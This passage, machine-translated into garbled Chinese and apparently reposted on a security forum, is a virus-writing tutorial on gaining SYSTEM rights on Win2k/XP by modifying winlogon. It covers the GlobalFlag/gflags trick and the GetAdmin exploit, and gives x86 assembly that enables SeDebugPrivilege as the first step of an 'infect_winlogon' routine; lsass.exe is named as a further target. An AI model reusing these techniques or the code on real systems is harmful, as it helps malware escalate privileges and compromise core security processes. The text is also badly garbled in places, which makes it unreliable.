介绍
你可能已经打开winlogon通过OpenProcess 访问。你已经失败了,为什么?其中一个主要Winlogon Win32子系统造成,从而防止其他用户模式进程修改。像其他部件和系统的特权,这就是为什么?他是怎么办的。
想象一个情况:你是runned病毒在正常的用户安全上下文中,但是你可以改变winlogon。这是什麽意思,你可以(除非你关掉sfp并安装一个密码木马)吗?所有的winlogon runned过程(即也是你的远程线程)是runned体系下,等于管理员权限。所以在你把所有的东西都admin-neede的病毒,你就会赢winlogon。
关键的问题是这样的。如何让系统,让你修改winlogon子系统和其他一些,是有两个用户模式的方法来实现它。
Gflags技术
Win2k的有全系统全局标志设置,可以让各种内部调试,跟踪和其他功能。在内核中有一个叫NtGlobalFlag这是每一个初始化从注册表项HKLM \ System \ CurrentControlSet \控制\会话管理\ GlobalFlag 启动一个变量。如果你有NTDDK到bin目录并运行gflags.exe。这一方案改变了这个关键,实现的功能...
此外,还存在两个标志,影响调试,到Win32子系统Winlogon中。这两个是“调试Win32子系统”和“调试的Win32子系统”。如果你想使它们或具有价值的 GlobalFlag。当然,你需要重新启动系统进行其他它的工作。
这项技术被用于著名GetAdmin工具。这progie用于AddAtom功能的内核模式错误,修改NtGlobalFlag Winlogon中的变量。然后,它拼命地跑Winlogon中的远程线程,将当前用户到管理员组。但它确实曾在Win2k/XP的错误是固定的。
SeDebugPrivilege的方法
该方法与SeDebugPrivilege worx特权。这已被指定的账户语境下运行。Defaultly这个特权只有成员小组。管理员因此一旦让runned作为特权都加上这组,第一步将是做不到的。
当这样做,我们可以在想想。现在我们已经使这个特权,因为defaultly残疾。这个示例代码从我的Win2k向你展示了如何做……
让SeDebugPrivilege
; All used apis are exported by advapi32.dll
SE_PRIVILEGE_ENABLED equ 02h
TOKEN_PRIVILEGES struc
TP_count dd ?
TP_luid dq ?
TP_attribz dd ?
TOKEN_PRIVILEGES ends
....
push SE_PRIVILEGE_ENABLED
pop eax
@pushsz "SeDebugPrivilege"
pop esi
call touch_privilege
jz infect_winlogon_end
....
touch_privilege:
mov ebx, ebp
touch_privilege_ proc near
local process_token:DWORD
local privilege_luid:QWORD
local token_privilegez:TOKEN_PRIVILEGES
pushad
@SEH_SetupFrame <jmp touch_privilege_end>
xchg eax, edi
call dword ptr [ebx+tGetCurrentProcess]
lea edx, [process_token]
push edx
push TOKEN_ADJUST_PRIVILEGES
push eax
call dword ptr [ebx+tOpenProcessToken]
dec eax
jnz touch_privilege_end
lea edx, [token_privilegez.TP_luid]
push edx
push esi
push eax
call dword ptr [ebx+tLookupPrivilegeValueA]
dec eax
jnz touch_privilege_close_p_token
push eax
push eax
push type(TOKEN_PRIVILEGES)
lea edx, [token_privilegez]
push 1
pop dword ptr [edx]
mov dword ptr [edx.TP_attribz], edi
push edx
push eax
push dword ptr [process_token]
call dword ptr [ebx+tAdjustTokenPrivileges]
touch_privilege_close_p_token:
push eax
push dword ptr [process_token]
call dword ptr [ebx+tCloseHandle]
pop eax
touch_privilege_end:
@SEH_RemoveFrame
mov dword ptr [esp.Pushad_eax], eax
popad
leave
retn
touch_privilege_ endp
上面的代码段里调整特权,从现在你终于可以修改任何你想要的东西
调试器用户
简单的增加accoung除用户组,这应该工作,不过我没有测试过它,所以我没有百分之百的把握。如果你想要测试,让我知道。
关闭
不要忘记,不仅winlogon可能的受害者。Exampli gratia lsass.exe的主要安全部件(甚至是整个系统的内核安全功能与这一过程的工作,通过LPC)还可以进行修改。只是要通过逆向开发你才会发现…
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!